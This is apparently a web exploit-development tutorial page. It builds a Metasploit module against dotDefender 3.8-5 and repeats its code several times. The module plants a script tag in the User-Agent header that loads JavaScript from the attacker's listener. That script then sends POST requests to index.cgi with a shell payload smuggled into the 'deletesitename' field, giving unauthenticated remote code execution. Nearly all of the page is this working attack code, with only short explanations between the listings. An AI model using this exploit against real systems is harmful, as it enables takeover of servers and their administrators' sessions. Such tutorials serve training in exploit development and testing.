Hosting the Javascript

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In this section we are going add the listener and the javascript for the exploit. The changes to the exploit are highlighed.


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = Average
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::HTML
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "dotDefender <= 3.8-5 No Authentication Remote Code Execution Through XSS",
            'Description'    => %q{
                    This module exploits a vulnerability found in dotDefender.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'John Dos',   #Initial remote execution discovery
                    'rAWjAW'  	  #Everything else
                ],
            'References'     =>
                [
                    ['EDB', '14310'],
                    ['URL', 'http://www.exploit-db.com/exploits/14310/']
                ],
            'Arch'           => ARCH_CMD,
	   'Compat'          =>
		{
	            'PayloadType' => 'cmd'
		},
            'Platform'       => ['unix','linux'],
            'Targets'        =>
                [
                    ['dotDefender <= 3.8-5', {}]
                ],
            'Privileged'     => false,
            'DefaultTarget'  => 0))
 
        register_options(
            [
             
             OptString.new('TRIGGERLOG',  [true, 'This is what is used to trigger a log entry.','']),
	     OptString.new('SITENAME',  [true, 'This is usually the same as RHOST but is available as an option if different']),
	     OptString.new('LHOST',  [true, 'This is the IP to connect back to for the javascript','0.0.0.0']),
             OptString.new('URIPATH', [true, 'This is the URI path that will be created for the javascript hosted file','DotDefender.js']),
             OptString.new('SRVPORT', [true, 'This is the port for the javascript to connect back to','80'])
            ], self.class)
    	end


	def exploit
            resp = send_request_raw({
	         'uri'     => "http://#{rhost}/",
	         'version' => '1.1',
	         'method' => 'GET',
	         'headers' =>
	            {
	            'Content-Type' => 'application/x-www-form-urlencoded',
                    'User-Agent' => "Mozilla Firefox <script language=\"JavaScript\" src=\"http://#{datastore['lhost']}:#{datastore['SRVPORT']}/#{datastore['uripath']}\"></script>",
                    },
                  'data' => "#{datastore['TRIGGERLOG']}"
               })
		
           super 

        end

        def on_request_uri(cli, request)

		return if ((p = regenerate_payload(cli)) == nil)

		sitename = datastore['SITENAME']

		content = %Q|
		var http = new XMLHttpRequest();
		var url = "../index.cgi";
		var params = "sitename=#{sitename}&deletesitename=#{sitename};#{payload.encoded};&action=deletesite&linenum=14";
		http.open("POST",url,true);
		http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		http.setRequestHeader("Content-lenth", params.length);
		http.setRequestHeader("Connection","close");

		http.conreadystatechange = function() {
		    if(http.readyState == 4 && http.status == 200) {
		        alert(http.responseText);
		        }
		}
		http.send(params);


		var http2 = new XMLHttpRequest();
		var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
		http2.open("POST",url,true);
		http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		http2.setRequestHeader("Content-lenth", params2.length);
		http2.setRequestHeader("Connection","close");

		http2.conreadystatechange = function() {
		    if(http2.readyState == 4 && http2.status == 200) {
		        alert(http2.responseText);
		        }
		}
		http2.send(params2);


		var http3 = new XMLHttpRequest();
		var params3 = "newsitename=#{sitename}&action=newsite";
		http3.open("POST",url,true);
		http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		http3.setRequestHeader("Content-lenth", params3.length);
		http3.setRequestHeader("Connection","close");

		http3.conreadystatechange = function() {
		    if(http3.readyState == 4 && http3.status == 200) {
		        alert(http3.responseText);
		        }
		}
		http3.send(params3);


		var http4 = new XMLHttpRequest();
		var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
		http4.open("POST",url,true);
		http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		http4.setRequestHeader("Content-lenth", params4.length);
		http4.setRequestHeader("Connection","close");

		http4.conreadystatechange = function() {
		    if(http4.readyState == 4 && http4.status == 200) {
		        alert(http4.responseText);
		        }
		}
		http4.send(params4);
			|

		print_status("Sending #{self.name}")

		send_response_html(cli, content)
		
          end

end


On Request URI

def on_request_uri(cli, request)

     return if ((p = regenerate_payload(cli)) == nil)

     sitename = datastore['SITENAME']


Here we are setting up the listener in metasploit. The lister will have two arguments, cli and request. We want to regenerate the payload and make sure it is not nill, along with establishing the sitename variable.

Content

content = %Q|
        var http = new XMLHttpRequest();
	var url = "../index.cgi";
	var params = "sitename=#{sitename}&deletesitename=#{sitename};#{payload.encoded};&action=deletesite&linenum=14";
	http.open("POST",url,true);
	http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http.setRequestHeader("Content-lenth", params.length);
	http.setRequestHeader("Connection","close");

	http.conreadystatechange = function() {
	    if(http.readyState == 4 && http.status == 200) {
	        alert(http.responseText);
	        }
	}
	http.send(params);


	var http2 = new XMLHttpRequest();
	var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
	http2.open("POST",url,true);
	http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http2.setRequestHeader("Content-lenth", params2.length);
	http2.setRequestHeader("Connection","close");

	http2.conreadystatechange = function() {
	    if(http2.readyState == 4 && http2.status == 200) {
	        alert(http2.responseText);
	        }
	}
	http2.send(params2);


	var http3 = new XMLHttpRequest();
	var params3 = "newsitename=#{sitename}&action=newsite";
	http3.open("POST",url,true);
	http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http3.setRequestHeader("Content-lenth", params3.length);
	http3.setRequestHeader("Connection","close");

	http3.conreadystatechange = function() {
	    if(http3.readyState == 4 && http3.status == 200) {
	        alert(http3.responseText);
	        }
	}
	http3.send(params3);


	var http4 = new XMLHttpRequest();
	var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
	http4.open("POST",url,true);
	http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http4.setRequestHeader("Content-lenth", params4.length);
	http4.setRequestHeader("Connection","close");

	http4.conreadystatechange = function() {
	    if(http4.readyState == 4 && http4.status == 200) {
	        alert(http4.responseText);
	        }
	}
	http4.send(params4);
		|

	print_status("Sending #{self.name}")



If we remember back in Analyzing the Exploit we have four different places in this javascript that we must use variables. These are highlighted in the following code.

content = %Q|
        var http = new XMLHttpRequest();
	var url = "../index.cgi";
	var params = "sitename=#{sitename}&deletesitename=#{sitename};#{payload.encoded};&action=deletesite&linenum=14";
	http.open("POST",url,true);
	http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http.setRequestHeader("Content-lenth", params.length);
	http.setRequestHeader("Connection","close");

	http.conreadystatechange = function() {
	    if(http.readyState == 4 && http.status == 200) {
	        alert(http.responseText);
	        }
	}
	http.send(params);


	var http2 = new XMLHttpRequest();
	var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
	http2.open("POST",url,true);
	http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http2.setRequestHeader("Content-lenth", params2.length);
	http2.setRequestHeader("Connection","close");

	http2.conreadystatechange = function() {
	    if(http2.readyState == 4 && http2.status == 200) {
	        alert(http2.responseText);
	        }
	}
	http2.send(params2);


	var http3 = new XMLHttpRequest();
	var params3 = "newsitename=#{sitename}&action=newsite";
	http3.open("POST",url,true);
	http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http3.setRequestHeader("Content-lenth", params3.length);
	http3.setRequestHeader("Connection","close");

	http3.conreadystatechange = function() {
	    if(http3.readyState == 4 && http3.status == 200) {
	        alert(http3.responseText);
	        }
	}
	http3.send(params3);


	var http4 = new XMLHttpRequest();
	var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
	http4.open("POST",url,true);
	http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http4.setRequestHeader("Content-lenth", params4.length);
	http4.setRequestHeader("Connection","close");

	http4.conreadystatechange = function() {
	    if(http4.readyState == 4 && http4.status == 200) {
	        alert(http4.responseText);
	        }
	}
	http4.send(params4);
		|

	print_status("Sending #{self.name}")



If you notice we have also put a print_status at the end of the javascript. This will allow us to see that we have successfully sent the payload to the browser.

Send Response HTML

send_response_html(cli, content)


This will send the actual javascript code to the client once they have connected to the metasploit host.



Web App Exploit Dev > Hosting the Javascript